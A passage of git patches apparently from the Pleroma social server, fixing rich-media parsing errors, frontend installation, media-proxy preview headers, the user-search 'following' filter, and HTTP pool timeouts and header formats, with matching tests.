%{user: user, conn: conn} = oauth_access(["write:lists"]) + other_user = insert(:user) + third_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + {:ok, list} = Pleroma.List.follow(list, third_user) + + assert %{} == + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/lists/#{list.id}/accounts?account_ids[]=#{other_user.id}") + |> json_response_and_validate_schema(:ok) + + %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) + assert following == [third_user.follower_address] + end + test "listing users in a list" do %{user: user, conn: conn} = oauth_access(["read:lists"]) other_user = insert(:user) -- cgit v1.2.3 From 03d06062ab8feffbf7b03ecb7ff86c4a42af79ef Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 1 Sep 2020 19:12:45 +0300 Subject: don't fail on url fetch --- lib/pleroma/web/rich_media/parser.ex | 44 ++++++++++++---------- .../web/rich_media/parsers/ttl/aws_signed_url.ex | 15 +++----- test/web/rich_media/aws_signed_url_test.exs | 2 +- test/web/rich_media/parser_test.exs | 26 +++++++++---- 4 files changed, 49 insertions(+), 38 deletions(-) diff --git a/lib/pleroma/web/rich_media/parser.ex b/lib/pleroma/web/rich_media/parser.ex index ca592833f..e9aa2dd03 100644 --- a/lib/pleroma/web/rich_media/parser.ex +++ b/lib/pleroma/web/rich_media/parser.ex @@ -3,6 +3,8 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.RichMedia.Parser do + require Logger + defp parsers do Pleroma.Config.get([:rich_media, :parsers]) end @@ -10,18 +12,19 @@ defp parsers do def parse(nil), do: {:error, "No URL provided"} if Pleroma.Config.get(:env) == :test do + @spec parse(String.t()) :: {:ok, map()} | {:error, any()} def parse(url), do: parse_url(url) else + @spec parse(String.t()) :: {:ok, map()} | {:error, any()} def parse(url) do - try do - Cachex.fetch!(:rich_media_cache, url, fn _ -> - {:commit, parse_url(url)} - end) - |> set_ttl_based_on_image(url) - rescue - e -> - {:error, "Cachex error: #{inspect(e)}"} - end + Cachex.fetch!(:rich_media_cache, url, fn _ -> + with {:ok, data} <- parse_url(url) do + {:commit, {:ok, data}} + else + error -> {:ignore, error} + end + end) + |> set_ttl_based_on_image(url) end end @@ -47,9 +50,11 @@ def ttl(data, url) do config :pleroma, :rich_media, ttl_setters: [MyModule] """ + @spec set_ttl_based_on_image({:ok, map()} | {:error, any()}, String.t()) :: + {:ok, map()} | {:error, any()} def set_ttl_based_on_image({:ok, data}, url) do with {:ok, nil} <- Cachex.ttl(:rich_media_cache, url), - ttl when is_number(ttl) <- get_ttl_from_image(data, url) do + {:ok, ttl} when is_number(ttl) <- get_ttl_from_image(data, url) do Cachex.expire_at(:rich_media_cache, url, ttl * 1000) {:ok, data} else @@ -58,8 +63,14 @@ def set_ttl_based_on_image({:ok, data}, url) do end end + def set_ttl_based_on_image({:error, _} = error, _) do + Logger.error("parsing error: #{inspect(error)}") + error + end + defp get_ttl_from_image(data, url) do - Pleroma.Config.get([:rich_media, :ttl_setters]) + [:rich_media, :ttl_setters] + |> Pleroma.Config.get() |> Enum.reduce({:ok, nil}, fn module, {:ok, _ttl} -> module.ttl(data, url) @@ -70,23 +81,16 @@ defp get_ttl_from_image(data, url) do end defp parse_url(url) do - try do - {:ok, %Tesla.Env{body: html}} = Pleroma.Web.RichMedia.Helpers.rich_media_get(url) - + with {:ok, %Tesla.Env{body: html}} <- Pleroma.Web.RichMedia.Helpers.rich_media_get(url), + {:ok, html} <- Floki.parse_document(html) do html - |> parse_html() |> maybe_parse() |> Map.put("url", url) |> clean_parsed_data() |> check_parsed_data() - rescue - e -> - {:error, "Parsing error: #{inspect(e)} #{inspect(__STACKTRACE__)}"} end end - defp parse_html(html), do: Floki.parse_document!(html) - defp maybe_parse(html) do Enum.reduce_while(parsers(), %{}, fn parser, acc -> case parser.parse(html, acc) do diff --git a/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex b/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex index 0dc1efdaf..c5aaea2d4 100644 --- a/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex +++ b/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex @@ -10,20 +10,15 @@ def ttl(data, _url) do |> parse_query_params() |> format_query_params() |> get_expiration_timestamp() + else + {:error, "Not aws signed url #{inspect(image)}"} end end - defp is_aws_signed_url(""), do: nil - defp is_aws_signed_url(nil), do: nil - - defp is_aws_signed_url(image) when is_binary(image) do + defp is_aws_signed_url(image) when is_binary(image) and image != "" do %URI{host: host, query: query} = URI.parse(image) - if String.contains?(host, "amazonaws.com") and String.contains?(query, "X-Amz-Expires") do - image - else - nil - end + String.contains?(host, "amazonaws.com") and String.contains?(query, "X-Amz-Expires") end defp is_aws_signed_url(_), do: nil @@ -46,6 +41,6 @@ defp get_expiration_timestamp(params) when is_map(params) do |> Map.get("X-Amz-Date") |> Timex.parse("{ISO:Basic:Z}") - Timex.to_unix(date) + String.to_integer(Map.get(params, "X-Amz-Expires")) + {:ok, Timex.to_unix(date) + String.to_integer(Map.get(params, "X-Amz-Expires"))} end end diff --git a/test/web/rich_media/aws_signed_url_test.exs b/test/web/rich_media/aws_signed_url_test.exs index b30f4400e..a21f3c935 100644 --- a/test/web/rich_media/aws_signed_url_test.exs +++ b/test/web/rich_media/aws_signed_url_test.exs @@ -21,7 +21,7 @@ test "s3 signed url is parsed correct for expiration time" do expire_time = Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) - assert expire_time == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) + assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) end test "s3 signed url is parsed and correct ttl is set for rich media" do diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs index 420a612c6..1e09cbf84 100644 --- a/test/web/rich_media/parser_test.exs +++ b/test/web/rich_media/parser_test.exs @@ -5,6 +5,8 @@ defmodule Pleroma.Web.RichMedia.ParserTest do use ExUnit.Case, async: true + alias Pleroma.Web.RichMedia.Parser + setup do Tesla.Mock.mock(fn %{ @@ -48,23 +50,29 @@ defmodule Pleroma.Web.RichMedia.ParserTest do %{method: :get, url: "http://example.com/empty"} -> %Tesla.Env{status: 200, body: "hello"} + + %{method: :get, url: "http://example.com/malformed"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/malformed-data.html")} + + %{method: :get, url: "http://example.com/error"} -> + {:error, :overload} end) :ok end test "returns error when no metadata present" do - assert {:error, _} = Pleroma.Web.RichMedia.Parser.parse("http://example.com/empty") + assert {:error, _} = Parser.parse("http://example.com/empty") end test "doesn't just add a title" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/non-ogp") == + assert Parser.parse("http://example.com/non-ogp") == {:error, "Found metadata was invalid or incomplete: %{\"url\" => \"http://example.com/non-ogp\"}"} end test "parses ogp" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/ogp") == + assert Parser.parse("http://example.com/ogp") == {:ok, %{ "image" => "http://ia.media-imdb.com/images/rock.jpg", @@ -77,7 +85,7 @@ test "parses ogp" do end test "falls back to when ogp:title is missing" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/ogp-missing-title") == + assert Parser.parse("http://example.com/ogp-missing-title") == {:ok, %{ "image" => "http://ia.media-imdb.com/images/rock.jpg", @@ -90,7 +98,7 @@ test "falls back to <title> when ogp:title is missing" do end test "parses twitter card" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/twitter-card") == + assert Parser.parse("http://example.com/twitter-card") == {:ok, %{ "card" => "summary", @@ -103,7 +111,7 @@ test "parses twitter card" do end test "parses OEmbed" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/oembed") == + assert Parser.parse("http://example.com/oembed") == {:ok, %{ "author_name" => "‮‭‬bees‬", @@ -132,6 +140,10 @@ test "parses OEmbed" do end test "rejects invalid OGP data" do - assert {:error, _} = Pleroma.Web.RichMedia.Parser.parse("http://example.com/malformed") + assert {:error, _} = Parser.parse("http://example.com/malformed") + end + + test "returns error if getting page was not successful" do + assert {:error, :overload} = Parser.parse("http://example.com/error") end end -- cgit v1.2.3 From 0a9c63fb4351ed29a521697f2c584b0ae007696c Mon Sep 17 00:00:00 2001 From: Sean King <seanking2919@protonmail.com> Date: Tue, 1 Sep 2020 12:20:32 -0600 Subject: Fix frontend install mix task bug --- lib/mix/tasks/pleroma/frontend.ex | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/mix/tasks/pleroma/frontend.ex b/lib/mix/tasks/pleroma/frontend.ex index 2adbf8d72..0a48be1fe 100644 --- a/lib/mix/tasks/pleroma/frontend.ex +++ b/lib/mix/tasks/pleroma/frontend.ex @@ -69,7 +69,7 @@ def run(["install", frontend | args]) do fe_label = "#{frontend} (#{ref})" - tmp_dir = Path.join(dest, "tmp") + tmp_dir = Path.join([instance_static_dir, "frontends", "tmp"]) with {_, :ok} <- {:download_or_unzip, download_or_unzip(frontend_info, tmp_dir, options[:file])}, @@ -133,6 +133,7 @@ defp download_build(frontend_info, dest) do defp install_frontend(frontend_info, source, dest) do from = frontend_info["build_dir"] || "dist" + File.rm_rf!(dest) File.mkdir_p!(dest) File.cp_r!(Path.join([source, from]), dest) :ok -- cgit v1.2.3 From 6ce28c409137972ee9b105b9d7ab4a0fd2a0d08b Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov <ivantashkinov@gmail.com> Date: Tue, 1 Sep 2020 21:21:58 +0300 Subject: [#2497] Fix for png media proxy preview response headers (content-type & content-disposition). --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 2afcd861a..961c73666 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -67,7 +67,7 @@ defp handle_preview(conn, url) do end end - # TODO: find a workaround so avatar_static and banner_static can work. + # TODO: find a workaround so avatar_static and header_static can work. # Those only permit GIFs for animation, so we have to permit a way to # allow those to get real static variants. defp handle_preview("image/gif" = _content_type, conn, url) do @@ -107,7 +107,7 @@ defp handle_png_preview(%{params: params} = conn, url) do } ) do conn - |> put_preview_response_headers() + |> put_preview_response_headers("image/png", "preview.png") |> send_resp(200, thumbnail_binary) else _ -> @@ -145,10 +145,10 @@ defp handle_video_preview(conn, url) do end end - defp put_preview_response_headers(conn) do + defp put_preview_response_headers(conn, content_type \\ "image/jpeg", filename \\ "preview.jpg") do conn - |> put_resp_header("content-type", "image/jpeg") - |> put_resp_header("content-disposition", "inline; filename=\"preview.jpg\"") + |> put_resp_header("content-type", content_type) + |> put_resp_header("content-disposition", "inline; filename=\"#{filename}\"") |> put_resp_header("cache-control", "max-age=0, private, must-revalidate") end -- cgit v1.2.3 From 868057871ac041346d8367181f00f0b127b33945 Mon Sep 17 00:00:00 2001 From: Karol Kosek <krkk@krkk.ct8.pl> Date: Tue, 1 Sep 2020 19:56:32 +0200 Subject: search: fix 'following' query parameter The parameter included the accounts that are following you (followers) instead of those you are actually following. Co-Authored-By: Haelwenn (lanodan) Monnier <contact@hacktivis.me> --- CHANGELOG.md | 5 +++++ lib/pleroma/user/search.ex | 2 +- test/user_search_test.exs | 28 ++++++++++++++-------------- 3 files changed, 20 insertions(+), 15 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0850deed7..07bc6d77c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,11 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). +## unreleased-patch - ??? + +### Fixed +- Mastodon API: Search parameter `following` now correctly returns the followings rather than the followers + ## [2.1.0] - 2020-08-28 ### Changed diff --git a/lib/pleroma/user/search.ex b/lib/pleroma/user/search.ex index d4fd31069..adbef7fb8 100644 --- a/lib/pleroma/user/search.ex +++ b/lib/pleroma/user/search.ex @@ -116,7 +116,7 @@ defp trigram_rank(query, query_string) do end defp base_query(_user, false), do: User - defp base_query(user, true), do: User.get_followers_query(user) + defp base_query(user, true), do: User.get_friends_query(user) defp filter_invisible_users(query) do from(q in query, where: q.invisible == false) diff --git a/test/user_search_test.exs b/test/user_search_test.exs index 559ba5966..01976bf58 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -109,22 +109,22 @@ test "finds users, boosting ranks of friends and followers" do Enum.map(User.search("doe", resolve: false, for_user: u1), & &1.id) == [] end - test "finds followers of user by partial name" do - u1 = insert(:user) - u2 = insert(:user, %{name: "Jimi"}) - follower_jimi = insert(:user, %{name: "Jimi Hendrix"}) - follower_lizz = insert(:user, %{name: "Lizz Wright"}) - friend = insert(:user, %{name: "Jimi"}) - - {:ok, follower_jimi} = User.follow(follower_jimi, u1) - {:ok, _follower_lizz} = User.follow(follower_lizz, u2) - {:ok, u1} = User.follow(u1, friend) - - assert Enum.map(User.search("jimi", following: true, for_user: u1), & &1.id) == [ - follower_jimi.id + test "finds followings of user by partial name" do + lizz = insert(:user, %{name: "Lizz"}) + jimi = insert(:user, %{name: "Jimi"}) + following_lizz = insert(:user, %{name: "Jimi Hendrix"}) + following_jimi = insert(:user, %{name: "Lizz Wright"}) + follower_lizz = insert(:user, %{name: "Jimi"}) + + {:ok, lizz} = User.follow(lizz, following_lizz) + {:ok, _jimi} = User.follow(jimi, following_jimi) + {:ok, _follower_lizz} = User.follow(follower_lizz, lizz) + + assert Enum.map(User.search("jimi", following: true, for_user: lizz), & &1.id) == [ + following_lizz.id ] - assert User.search("lizz", following: true, for_user: u1) == [] + assert User.search("lizz", following: true, for_user: lizz) == [] end test "find local and remote users for authenticated users" do -- cgit v1.2.3 From c17d83cd7330d5c874f647a5224a3a130ed88fb0 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 19 Aug 2020 10:22:59 +0300 Subject: improvements and fixes for http requests - fix for gun worker termination in some circumstances - pool for http clients (ex_aws, tzdata) - default pool timeouts for gun - gun retries on gun_down messages - s3 upload timeout if streaming enabled --- config/config.exs | 12 +++++++---- lib/pleroma/gun/connection_pool/worker.ex | 35 +++++++++++++++++++++---------- lib/pleroma/http/adapter_helper.ex | 16 ++++++++------ lib/pleroma/http/adapter_helper/gun.ex | 18 ++++++++-------- lib/pleroma/http/ex_aws.ex | 2 ++ lib/pleroma/http/tzdata.ex | 4 ++++ lib/pleroma/uploaders/s3.ex | 19 +++++++++++------ 7 files changed, 70 insertions(+), 36 deletions(-) diff --git a/config/config.exs b/config/config.exs index 246712b9f..ea8869d48 100644 --- a/config/config.exs +++ b/config/config.exs @@ -740,19 +740,23 @@ config :pleroma, :pools, federation: [ size: 50, - max_waiting: 10 + max_waiting: 10, + timeout: 10_000 ], media: [ size: 50, - max_waiting: 10 + max_waiting: 10, + timeout: 10_000 ], upload: [ size: 25, - max_waiting: 5 + max_waiting: 5, + timeout: 15_000 ], default: [ size: 10, - max_waiting: 2 + max_waiting: 2, + timeout: 5_000 ] config :pleroma, :hackney_pools, diff --git a/lib/pleroma/gun/connection_pool/worker.ex b/lib/pleroma/gun/connection_pool/worker.ex index fec9d0efa..c36332817 100644 --- a/lib/pleroma/gun/connection_pool/worker.ex +++ b/lib/pleroma/gun/connection_pool/worker.ex @@ -83,17 +83,25 @@ def handle_call(:remove_client, {client_pid, _}, %{key: key} = state) do end) {ref, state} = pop_in(state.client_monitors[client_pid]) - Process.demonitor(ref) - - timer = - if used_by == [] do - max_idle = Pleroma.Config.get([:connections_pool, :max_idle_time], 30_000) - Process.send_after(self(), :idle_close, max_idle) + # DOWN message can receive right after `remove_client` call and cause worker to terminate + state = + if is_nil(ref) do + state else - nil + Process.demonitor(ref) + + timer = + if used_by == [] do + max_idle = Pleroma.Config.get([:connections_pool, :max_idle_time], 30_000) + Process.send_after(self(), :idle_close, max_idle) + else + nil + end + + %{state | timer: timer} end - {:reply, :ok, %{state | timer: timer}, :hibernate} + {:reply, :ok, state, :hibernate} end @impl true @@ -103,16 +111,21 @@ def handle_info(:idle_close, state) do {:stop, :normal, state} end + @impl true + def handle_info({:gun_up, _pid, _protocol}, state) do + {:noreply, state, :hibernate} + end + # Gracefully shutdown if the connection got closed without any streams left @impl true def handle_info({:gun_down, _pid, _protocol, _reason, []}, state) do {:stop, :normal, state} end - # Otherwise, shutdown with an error + # Otherwise, wait for retry @impl true - def handle_info({:gun_down, _pid, _protocol, _reason, _killed_streams} = down_message, state) do - {:stop, {:error, down_message}, state} + def handle_info({:gun_down, _pid, _protocol, _reason, _killed_streams}, state) do + {:noreply, state, :hibernate} end @impl true diff --git a/lib/pleroma/http/adapter_helper.ex b/lib/pleroma/http/adapter_helper.ex index 9ec3836b0..740e6e9ff 100644 --- a/lib/pleroma/http/adapter_helper.ex +++ b/lib/pleroma/http/adapter_helper.ex @@ -10,6 +10,7 @@ defmodule Pleroma.HTTP.AdapterHelper do @type proxy_type() :: :socks4 | :socks5 @type host() :: charlist() | :inet.ip_address() + @type pool() :: :federation | :upload | :media | :default alias Pleroma.Config alias Pleroma.HTTP.AdapterHelper @@ -44,14 +45,13 @@ def maybe_add_proxy(opts, proxy), do: Keyword.put_new(opts, :proxy, proxy) @spec options(URI.t(), keyword()) :: keyword() def options(%URI{} = uri, opts \\ []) do @defaults - |> put_timeout() |> Keyword.merge(opts) + |> put_timeout() |> adapter_helper().options(uri) end - # For Hackney, this is the time a connection can stay idle in the pool. - # For Gun, this is the timeout to receive a message from Gun. - defp put_timeout(opts) do + @spec pool_timeout(pool()) :: non_neg_integer() + def pool_timeout(pool) do {config_key, default} = if adapter() == Tesla.Adapter.Gun do {:pools, Config.get([:pools, :default, :timeout], 5_000)} @@ -59,9 +59,13 @@ defp put_timeout(opts) do {:hackney_pools, 10_000} end - timeout = Config.get([config_key, opts[:pool], :timeout], default) + Config.get([config_key, pool, :timeout], default) + end - Keyword.merge(opts, timeout: timeout) + # For Hackney, this is the time a connection can stay idle in the pool. + # For Gun, this is the timeout to receive a message from Gun. + defp put_timeout(opts) do + Keyword.put_new(opts, :timeout, pool_timeout(opts[:pool])) end def get_conn(uri, opts), do: adapter_helper().get_conn(uri, opts) diff --git a/lib/pleroma/http/adapter_helper/gun.ex b/lib/pleroma/http/adapter_helper/gun.ex index b4ff8306c..db0a298b3 100644 --- a/lib/pleroma/http/adapter_helper/gun.ex +++ b/lib/pleroma/http/adapter_helper/gun.ex @@ -5,6 +5,7 @@ defmodule Pleroma.HTTP.AdapterHelper.Gun do @behaviour Pleroma.HTTP.AdapterHelper + alias Pleroma.Config alias Pleroma.Gun.ConnectionPool alias Pleroma.HTTP.AdapterHelper @@ -14,7 +15,7 @@ defmodule Pleroma.HTTP.AdapterHelper.Gun do connect_timeout: 5_000, domain_lookup_timeout: 5_000, tls_handshake_timeout: 5_000, - retry: 0, + retry: 1, retry_timeout: 1000, await_up_timeout: 5_000 ] @@ -22,10 +23,11 @@ defmodule Pleroma.HTTP.AdapterHelper.Gun do @spec options(keyword(), URI.t()) :: keyword() def options(incoming_opts \\ [], %URI{} = uri) do proxy = - Pleroma.Config.get([:http, :proxy_url]) + [:http, :proxy_url] + |> Config.get() |> AdapterHelper.format_proxy() - config_opts = Pleroma.Config.get([:http, :adapter], []) + config_opts = Config.get([:http, :adapter], []) @defaults |> Keyword.merge(config_opts) @@ -37,8 +39,7 @@ def options(incoming_opts \\ [], %URI{} = uri) do defp add_scheme_opts(opts, %{scheme: "http"}), do: opts defp add_scheme_opts(opts, %{scheme: "https"}) do - opts - |> Keyword.put(:certificates_verification, true) + Keyword.put(opts, :certificates_verification, true) end @spec get_conn(URI.t(), keyword()) :: {:ok, keyword()} | {:error, atom()} @@ -51,11 +52,11 @@ def get_conn(uri, opts) do @prefix Pleroma.Gun.ConnectionPool def limiter_setup do - wait = Pleroma.Config.get([:connections_pool, :connection_acquisition_wait]) - retries = Pleroma.Config.get([:connections_pool, :connection_acquisition_retries]) + wait = Config.get([:connections_pool, :connection_acquisition_wait]) + retries = Config.get([:connections_pool, :connection_acquisition_retries]) :pools - |> Pleroma.Config.get([]) + |> Config.get([]) |> Enum.each(fn {name, opts} -> max_running = Keyword.get(opts, :size, 50) max_waiting = Keyword.get(opts, :max_waiting, 10) @@ -69,7 +70,6 @@ def limiter_setup do case result do :ok -> :ok {:error, :existing} -> :ok - e -> raise e end end) diff --git a/lib/pleroma/http/ex_aws.ex b/lib/pleroma/http/ex_aws.ex index e53e64077..2fe8beafc 100644 --- a/lib/pleroma/http/ex_aws.ex +++ b/lib/pleroma/http/ex_aws.ex @@ -11,6 +11,8 @@ defmodule Pleroma.HTTP.ExAws do @impl true def request(method, url, body \\ "", headers \\ [], http_opts \\ []) do + http_opts = Keyword.put(http_opts, :adapter, pool: :upload) + case HTTP.request(method, url, body, headers, http_opts) do {:ok, env} -> {:ok, %{status_code: env.status, headers: env.headers, body: env.body}} diff --git a/lib/pleroma/http/tzdata.ex b/lib/pleroma/http/tzdata.ex index 34bb253a7..7dd3352ff 100644 --- a/lib/pleroma/http/tzdata.ex +++ b/lib/pleroma/http/tzdata.ex @@ -11,6 +11,8 @@ defmodule Pleroma.HTTP.Tzdata do @impl true def get(url, headers, options) do + options = Keyword.put(options, :adapter, pool: :upload) + with {:ok, %Tesla.Env{} = env} <- HTTP.get(url, headers, options) do {:ok, {env.status, env.headers, env.body}} end @@ -18,6 +20,8 @@ def get(url, headers, options) do @impl true def head(url, headers, options) do + options = Keyword.put(options, :adapter, pool: :upload) + with {:ok, %Tesla.Env{} = env} <- HTTP.head(url, headers, options) do {:ok, {env.status, env.headers}} end diff --git a/lib/pleroma/uploaders/s3.ex b/lib/pleroma/uploaders/s3.ex index a13ff23b6..ed9794ca2 100644 --- a/lib/pleroma/uploaders/s3.ex +++ b/lib/pleroma/uploaders/s3.ex @@ -46,12 +46,19 @@ def put_file(%Pleroma.Upload{} = upload) do op = if streaming do - upload.tempfile - |> ExAws.S3.Upload.stream_file() - |> ExAws.S3.upload(bucket, s3_name, [ - {:acl, :public_read}, - {:content_type, upload.content_type} - ]) + op = + upload.tempfile + |> ExAws.S3.Upload.stream_file() + |> ExAws.S3.upload(bucket, s3_name, [ + {:acl, :public_read}, + {:content_type, upload.content_type} + ]) + + # set s3 upload timeout to respect :upload pool timeout + # timeout should be slightly larger, so s3 can retry upload on fail + timeout = Pleroma.HTTP.AdapterHelper.pool_timeout(:upload) + 1_000 + opts = Keyword.put(op.opts, :timeout, timeout) + Map.put(op, :opts, opts) else {:ok, file_data} = File.read(upload.tempfile) -- cgit v1.2.3 From 5e8adf91b46c3f23ec423d53afccbb062df4a241 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 1 Sep 2020 11:30:56 +0300 Subject: don't overwrite passed pool option in http clients --- lib/pleroma/http/ex_aws.ex | 2 +- lib/pleroma/http/tzdata.ex | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/http/ex_aws.ex b/lib/pleroma/http/ex_aws.ex index 2fe8beafc..c3f335c73 100644 --- a/lib/pleroma/http/ex_aws.ex +++ b/lib/pleroma/http/ex_aws.ex @@ -11,7 +11,7 @@ defmodule Pleroma.HTTP.ExAws do @impl true def request(method, url, body \\ "", headers \\ [], http_opts \\ []) do - http_opts = Keyword.put(http_opts, :adapter, pool: :upload) + http_opts = Keyword.put_new(http_opts, :adapter, pool: :upload) case HTTP.request(method, url, body, headers, http_opts) do {:ok, env} -> diff --git a/lib/pleroma/http/tzdata.ex b/lib/pleroma/http/tzdata.ex index 7dd3352ff..356799aab 100644 --- a/lib/pleroma/http/tzdata.ex +++ b/lib/pleroma/http/tzdata.ex @@ -11,7 +11,7 @@ defmodule Pleroma.HTTP.Tzdata do @impl true def get(url, headers, options) do - options = Keyword.put(options, :adapter, pool: :upload) + options = Keyword.put_new(options, :adapter, pool: :upload) with {:ok, %Tesla.Env{} = env} <- HTTP.get(url, headers, options) do {:ok, {env.status, env.headers, env.body}} @@ -20,7 +20,7 @@ def get(url, headers, options) do @impl true def head(url, headers, options) do - options = Keyword.put(options, :adapter, pool: :upload) + options = Keyword.put_new(options, :adapter, pool: :upload) with {:ok, %Tesla.Env{} = env} <- HTTP.head(url, headers, options) do {:ok, {env.status, env.headers}} -- cgit v1.2.3 From 79f65b4374908a32ebf39db176a30a01152a9141 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 2 Sep 2020 09:16:51 +0300 Subject: correct pool and uniform headers format --- lib/mix/tasks/pleroma/frontend.ex | 4 +++- lib/pleroma/instances/instance.ex | 4 +++- lib/pleroma/object/fetcher.ex | 6 +++--- lib/pleroma/web/rich_media/helpers.ex | 2 +- lib/pleroma/web/web_finger/web_finger.ex | 4 ++-- test/support/http_request_mock.ex | 4 ++-- 6 files changed, 14 insertions(+), 10 deletions(-) diff --git a/lib/mix/tasks/pleroma/frontend.ex b/lib/mix/tasks/pleroma/frontend.ex index 2adbf8d72..484af6da7 100644 --- a/lib/mix/tasks/pleroma/frontend.ex +++ b/lib/mix/tasks/pleroma/frontend.ex @@ -124,7 +124,9 @@ defp download_build(frontend_info, dest) do url = String.replace(frontend_info["build_url"], "${ref}", frontend_info["ref"]) with {:ok, %{status: 200, body: zip_body}} <- - Pleroma.HTTP.get(url, [], timeout: 120_000, recv_timeout: 120_000) do + Pleroma.HTTP.get(url, [], + adapter: [pool: :media, timeout: 120_000, recv_timeout: 120_000] + ) do unzip(zip_body, dest) else e -> {:error, e} diff --git a/lib/pleroma/instances/instance.ex b/lib/pleroma/instances/instance.ex index a1f935232..711c42158 100644 --- a/lib/pleroma/instances/instance.ex +++ b/lib/pleroma/instances/instance.ex @@ -150,7 +150,9 @@ def get_or_update_favicon(%URI{host: host} = instance_uri) do defp scrape_favicon(%URI{} = instance_uri) do try do with {:ok, %Tesla.Env{body: html}} <- - Pleroma.HTTP.get(to_string(instance_uri), [{:Accept, "text/html"}]), + Pleroma.HTTP.get(to_string(instance_uri), [{"accept", "text/html"}], + adapter: [pool: :media] + ), favicon_rel <- html |> Floki.parse_document!() diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex index 6fdbc8efd..374d8704a 100644 --- a/lib/pleroma/object/fetcher.ex +++ b/lib/pleroma/object/fetcher.ex @@ -164,12 +164,12 @@ defp make_signature(id, date) do date: date }) - [{"signature", signature}] + {"signature", signature} end defp sign_fetch(headers, id, date) do if Pleroma.Config.get([:activitypub, :sign_object_fetches]) do - headers ++ make_signature(id, date) + [make_signature(id, date) | headers] else headers end @@ -177,7 +177,7 @@ defp sign_fetch(headers, id, date) do defp maybe_date_fetch(headers, date) do if Pleroma.Config.get([:activitypub, :sign_object_fetches]) do - headers ++ [{"date", date}] + [{"date", date} | headers] else headers end diff --git a/lib/pleroma/web/rich_media/helpers.ex b/lib/pleroma/web/rich_media/helpers.ex index 6210f2c5a..2fb482b51 100644 --- a/lib/pleroma/web/rich_media/helpers.ex +++ b/lib/pleroma/web/rich_media/helpers.ex @@ -96,6 +96,6 @@ def rich_media_get(url) do @rich_media_options end - Pleroma.HTTP.get(url, headers, options) + Pleroma.HTTP.get(url, headers, adapter: options) end end diff --git a/lib/pleroma/web/web_finger/web_finger.ex b/lib/pleroma/web/web_finger/web_finger.ex index c4051e63e..6629f5356 100644 --- a/lib/pleroma/web/web_finger/web_finger.ex +++ b/lib/pleroma/web/web_finger/web_finger.ex @@ -136,12 +136,12 @@ def get_template_from_xml(body) do def find_lrdd_template(domain) do with {:ok, %{status: status, body: body}} when status in 200..299 <- - HTTP.get("http://#{domain}/.well-known/host-meta", []) do + HTTP.get("http://#{domain}/.well-known/host-meta") do get_template_from_xml(body) else _ -> with {:ok, %{body: body, status: status}} when status in 200..299 <- - HTTP.get("https://#{domain}/.well-known/host-meta", []) do + HTTP.get("https://#{domain}/.well-known/host-meta") do get_template_from_xml(body) else e -> {:error, "Can't find LRDD template: #{inspect(e)}"} diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex index eeeba7880..a0ebf65d9 100644 --- a/test/support/http_request_mock.ex +++ b/test/support/http_request_mock.ex @@ -1350,11 +1350,11 @@ def get("https://relay.mastodon.host/actor", _, _, _) do {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/relay/relay.json")}} end - def get("http://localhost:4001/", _, "", Accept: "text/html") do + def get("http://localhost:4001/", _, "", [{"accept", "text/html"}]) do {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/7369654.html")}} end - def get("https://osada.macgirvin.com/", _, "", Accept: "text/html") do + def get("https://osada.macgirvin.com/", _, "", [{"accept", "text/html"}]) do {:ok, %Tesla.Env{ status: 200, -- cgit v1.2.3 From 1c57ef44983e150f3cc016290fe99f159eb79cb0 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 2 Sep 2020 10:33:43 +0300 Subject: default pool for tz_data client --- lib/pleroma/http/tzdata.ex | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/http/tzdata.ex b/lib/pleroma/http/tzdata.ex index 356799aab..4539ac359 100644 --- a/lib/pleroma/http/tzdata.ex +++ b/lib/pleroma/http/tzdata.ex @@ -11,7 +11,7 @@ defmodule Pleroma.HTTP.Tzdata do @impl true def get(url, headers, 